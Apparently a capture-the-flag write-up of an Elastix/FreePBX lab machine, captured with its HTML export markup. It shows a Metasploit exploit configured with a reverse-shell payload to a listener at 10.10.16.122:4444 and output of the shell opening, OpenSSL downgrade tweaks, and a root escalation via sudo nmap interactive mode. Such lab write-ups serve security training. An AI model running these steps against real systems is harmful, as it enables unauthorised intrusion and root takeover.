\u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.122 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target msf5 exploit(unix/http/freepbx_callmenum) \u0026gt; run [*] Started reverse TCP double handler on 10.10.16.122:4444 [*] 10.10.10.7:443 - Sending evil request with range 230 [*] 10.10.10.7:443 - Sending evil request with range 231 [*] 10.10.10.7:443 - Sending evil request with range 232 [*] 10.10.10.7:443 - Sending evil request with range 233 [*] 10.10.10.7:443 - Sending evil request with range 234 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo qaF1oILSz5kNCclV; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: \u0026#34;qaF1oILSz5kNCclV\\r\\n\u0026#34; [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800 issue to fix set ssl true\nissue\nmsf5 exploit(unix/http/freepbx_callmenum) \u0026gt; run [*] Started reverse TCP double handler on 10.10.16.122:4444 [*] 10.10.10.7:443 - Sending evil request with range 200 [*] 10.10.10.7:443 - Sending evil request with range 201 ^C[-] Exploit failed [user-interrupt]: Interrupt [-] run: Interrupted msf5 exploit(unix/http/freepbx_callmenum) \u0026gt; show options Interrupt: use the \u0026#39;exit\u0026#39; command to quit OPENSSL too new, auto discard low versio df key.\nsolution\n# use burp to proxy set proxies http:127.0.0.1:8080 set ReverseAllowProxy true or use it(unused) sed -i \u0026#39;s,^\\(MinProtocol[ ]*=\\).*,\\1\u0026#39;TLSv1.0\u0026#39;,g\u0026#39; /etc/ssl/openssl.cnf $ sed -i \u0026#39;s,^\\(CipherString[ ]*=\\).*,\\1\u0026#39;DEFAULT@SECLEVEL=1\u0026#39;,g\u0026#39; /etc/ssl/openssl.cnf Privilege Escalation Enumerate sudo info:\nsudo -l Matching Defaults entries for asterisk on this host: env_reset, env_keep=\u0026#34;COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\u0026#34; User asterisk may run the following commands on this host: (root) NOPASSWD: /sbin/shutdown (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/bin/yum (root) NOPASSWD: /bin/touch (root) NOPASSWD: /bin/chmod (root) NOPASSWD: /bin/chown (root) NOPASSWD: /sbin/service (root) NOPASSWD: /sbin/init (root) NOPASSWD: /usr/sbin/postmap (root) NOPASSWD: /usr/sbin/postfix (root) NOPASSWD: /usr/sbin/saslpasswd2 (root) NOPASSWD: /usr/sbin/hardware_detector (root) NOPASSWD: /sbin/chkconfig (root) NOPASSWD: /usr/sbin/elastix-helper Found nmap in the sudo list — interactive mode drops a shell right away, let\u0026rsquo;s go:\n# id # uid=100(asterisk) gid=101(asterisk) # sudo nmap --interactive # Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) # Welcome to Interactive Mode -- press h \u0026lt;enter\u0026gt; for help # nmap\u0026gt; !sh # id # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ref\nhttps://github.com/rapid7/metasploit-framework/issues/6783 https://blog.csdn.net/fastergohome/article/details/104165920 ","permalink":"https://www.unc.la/en/posts/penetration/re3uva/","summary":"\u003ch2 id=\"elastix\"\u003eelastix\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1590342051488-5f1b2b4e-e643-47ad-b8d1-92e70849ad3a.png\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003emsf5\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexploit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eunix\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003efreepbx_callmenum\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eshow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eoptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eModule\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eoptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eexploit\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eunix\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003efreepbx_callmenum\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eName\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"k\"\u003eCurrent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetting\u003c/span\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"n\"\u003eRequired\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eDescription\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"c1\"\u003e----       ---------------      --------  -----------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eEXTENSION\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e230\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e240\u003c/span\u003e\u003cspan class=\"w\"\u003e              \u003c/span\u003e\u003cspan class=\"n\"\u003eyes\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eLocal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eextension\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumbers\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eProxies\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e127\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8080\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003eno\u003c/span\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003echain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"k\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e[,\u003c/span\u003e\u003cspan class=\"k\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"k\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e][...]\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eRHOSTS\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"w\"\u003e           \u003c/span\u003e\u003cspan class=\"n\"\u003eyes\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCIDR\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eidentifier\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehosts\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esyntax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file:\u0026lt;path\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eRPORT\u003c/span\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e                  \u003c/span\u003e\u003cspan class=\"n\"\u003eyes\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTCP\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eSSL\u003c/span\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"w\"\u003e                 \u003c/span\u003e\u003cspan class=\"k\"\u003eno\u003c/span\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eNegotiate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSSL\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eTLS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutgoing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econnections\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eVHOST\u003c/span\u003e\u003cspan class=\"w\"\u003e                           \u003c/span\u003e\u003cspan class=\"k\"\u003eno\u003c/span\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evirtual\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ehost\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePayload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eoptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eunix\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ereverse\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eName\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"k\"\u003eCurrent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetting\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eRequired\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eDescription\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"c1\"\u003e----   ---------------  --------  -----------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eLHOST\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e122\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003eyes\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003elisten\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emay\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003especified\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eLPORT\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e4444\u003c/span\u003e\u003cspan class=\"w\"\u003e             \u003c/span\u003e\u003cspan class=\"n\"\u003eyes\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003elisten\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eExploit\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eId\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eName\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"c1\"\u003e--  ----\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eAutomatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTarget\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003emsf5\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexploit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eunix\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003efreepbx_callmenum\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erun\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eStarted\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereverse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTCP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edouble\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ehandler\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eon\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e122\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4444\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSending\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eevil\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e230\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSending\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eevil\u003c/span\u003e\u003cspan 